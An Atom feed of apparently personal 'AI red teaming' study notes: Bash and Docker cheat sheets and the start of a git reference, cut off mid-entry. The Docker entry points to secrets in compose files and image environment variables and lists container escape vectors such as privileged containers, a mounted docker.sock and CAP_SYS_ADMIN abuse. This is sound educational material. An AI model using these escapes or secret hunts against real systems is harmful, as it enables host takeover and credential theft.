<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>Frekler</title>
    <subtitle>Frekler homepage - AI Red Teaming, Techno Music, Motorsport</subtitle>
    <link rel="self" type="application/atom+xml" href="https://frekler.com/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://frekler.com"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-07-06T00:00:00+00:00</updated>
    <id>https://frekler.com/atom.xml</id>
    <author>
        <name>Frekler</name>
    </author>
    <entry>
        <title>Bash</title>
        <published>2026-07-06T00:00:00+00:00</published>
        <updated>2026-07-06T00:00:00+00:00</updated>
        <author>
            <name>Frekler</name>
        </author>
        <link rel="alternate" type="text/html" href="https://frekler.com/ai-red-teaming/notes/bash/"/>
        <id>https://frekler.com/ai-red-teaming/notes/bash/</id>
        
        <content type="html" xml:base="https://frekler.com/ai-red-teaming/notes/bash/">&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;value&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;            # variable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;            # use the variable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;Now: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;date&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # substitute a command&amp;#39;s output&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Loops&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; 1 2 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; do&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;num &lt;&#x2F;span&gt;&lt;span&gt;$i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; done&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; *.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; do&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;file: &lt;&#x2F;span&gt;&lt;span&gt;$f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; done&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Condition&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; -f&lt;&#x2F;span&gt;&lt;span&gt; file.txt &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; then&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;exists&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Read a file line by line&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;while&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; read&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; do&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;$line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; done&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; file.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        
    </entry>
    <entry>
        <title>Docker</title>
        <published>2026-07-06T00:00:00+00:00</published>
        <updated>2026-07-06T00:00:00+00:00</updated>
        <author>
            <name>Frekler</name>
        </author>
        <link rel="alternate" type="text/html" href="https://frekler.com/ai-red-teaming/notes/docker/"/>
        <id>https://frekler.com/ai-red-teaming/notes/docker/</id>
        
        <content type="html" xml:base="https://frekler.com/ai-red-teaming/notes/docker/">&lt;pre&gt;

+ Disclaimer -----------------------+
| The content provided is           |
| for educational and informational |
| purposes only                     |
| I do not support                  |
| or encourage any illegal          |
+-----------------------------------+

&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;core-commands&quot;&gt;Core commands&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; run -it ubuntu bash&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;        # start a container with an interactive shell&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; run -d -p 8080:80 nginx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;    # detached; map host:container port&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; ps&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                         # running containers   (docker ps -a = all)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; images&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                     # local images&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; exec -it&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; bash&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;         # shell into a running container&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; logs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                  # container output&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; build -t myimg .&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;           # build an image from .&#x2F;Dockerfile&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; pull&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;im&lt;&#x2F;span&gt;&lt;span&gt;g&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &#x2F; docker push&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;im&lt;&#x2F;span&gt;&lt;span&gt;g&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # fetch &#x2F; publish an image&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; inspect&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;               # full JSON: env vars, mounts, network&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;dockerfile&quot;&gt;Dockerfile&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;docker&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt;FROM&lt;&#x2F;span&gt;&lt;span&gt; python:3.12-slim&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt;WORKDIR&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;app&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt;COPY&lt;&#x2F;span&gt;&lt;span&gt; . .&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt;RUN&lt;&#x2F;span&gt;&lt;span&gt; pip install -r requirements.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt;EXPOSE&lt;&#x2F;span&gt;&lt;span&gt; 8000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt;CMD&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;python&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;app.py&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;volumes-ports&quot;&gt;Volumes &amp;amp; ports&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; run -v &#x2F;host&#x2F;path:&#x2F;container&#x2F;path img&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # bind-mount a host directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; run -v mydata:&#x2F;data img&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                 # named volume (persists)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; run -p 8080:80 img&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                      # host:container port map&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;docker-compose&quot;&gt;docker-compose&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;services&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;  web&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;    build&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; .&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;    ports&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;8000:8000&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;  db&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;    image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; postgres:16&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;    environment&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;      POSTGRES_PASSWORD&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; secret&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # ← secrets in compose files are a common find&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; compose up -d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;      # start the stack&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; compose down&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # stop &amp;amp; remove&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;image-layers&quot;&gt;Image layers&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; history --no-trunc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;im&lt;&#x2F;span&gt;&lt;span&gt;g&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # the commands that built each layer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; inspect&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;im&lt;&#x2F;span&gt;&lt;span&gt;g&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # env vars (often hold tokens&#x2F;passwords)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;dive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;im&lt;&#x2F;span&gt;&lt;span&gt;g&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                        # explore layer-by-layer file contents&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;isolation-primitives&quot;&gt;Isolation primitives&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;namespaces&lt;&#x2F;strong&gt; - isolate what a process &lt;strong&gt;sees&lt;&#x2F;strong&gt; (PIDs, mounts, network, users).&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;cgroups&lt;&#x2F;strong&gt; - limit what it can &lt;strong&gt;use&lt;&#x2F;strong&gt; (CPU, memory, I&#x2F;O).&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;capabilities&lt;&#x2F;strong&gt; - root&#x27;s powers split into units; containers drop most by default; &lt;code&gt;--cap-add&lt;&#x2F;code&gt; re-grants them, and &lt;strong&gt;&lt;code&gt;CAP_SYS_ADMIN&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; is effectively root-equivalent.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;escape-vectors-foundations&quot;&gt;Escape vectors (foundations)&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;--privileged&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; - disables most isolation; the container can reach host devices → escape to host.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Mounted &lt;code&gt;docker.sock&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; (&lt;code&gt;-v &#x2F;var&#x2F;run&#x2F;docker.sock:&#x2F;var&#x2F;run&#x2F;docker.sock&lt;&#x2F;code&gt;) - the container can drive the Docker daemon, so it can start a &lt;strong&gt;new&lt;&#x2F;strong&gt; container that mounts the host filesystem as root = host takeover.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Host mounts&lt;&#x2F;strong&gt; (&lt;code&gt;-v &#x2F;:&#x2F;host&lt;&#x2F;code&gt;) - direct read&#x2F;write to the host filesystem.&lt;&#x2F;li&gt;
&lt;li&gt;Hands-on escapes (&lt;code&gt;nsenter&lt;&#x2F;code&gt;, &lt;code&gt;LD_PRELOAD&lt;&#x2F;code&gt;, kernel CVEs, &lt;code&gt;CAP_SYS_ADMIN&lt;&#x2F;code&gt; abuse).&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;materials&quot;&gt;Materials&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Docker (Get Started) &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.docker.com&#x2F;get-started&#x2F;&quot;&gt;https:&#x2F;&#x2F;docs.docker.com&#x2F;get-started&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;dive (layer explorer) &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;wagoodman&#x2F;dive&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;wagoodman&#x2F;dive&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry>
        <title>git</title>
        <published>2026-07-06T00:00:00+00:00</published>
        <updated>2026-07-06T00:00:00+00:00</updated>
        <author>
            <name>Frekler</name>
        </author>
        <link rel="alternate" type="text/html" href="https://frekler.com/ai-red-teaming/notes/git/"/>
        <id>https://frekler.com/ai-red-teaming/notes/git/</id>
        
        <content type="html" xml:base="https://frekler.com/ai-red-teaming/notes/git/">&lt;h2 id=&quot;base&quot;&gt;Base&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; clone https:&#x2F;&#x2F;github.com&#x2F;user&#x2F;repo.git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # copy a remote repo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; init&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                                      # start a new repo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; status&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                                    # what changed&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; add file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;          # stage changes        (git add -A = everything)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; commit -m &amp;quot;msg&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # record a snapshot&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
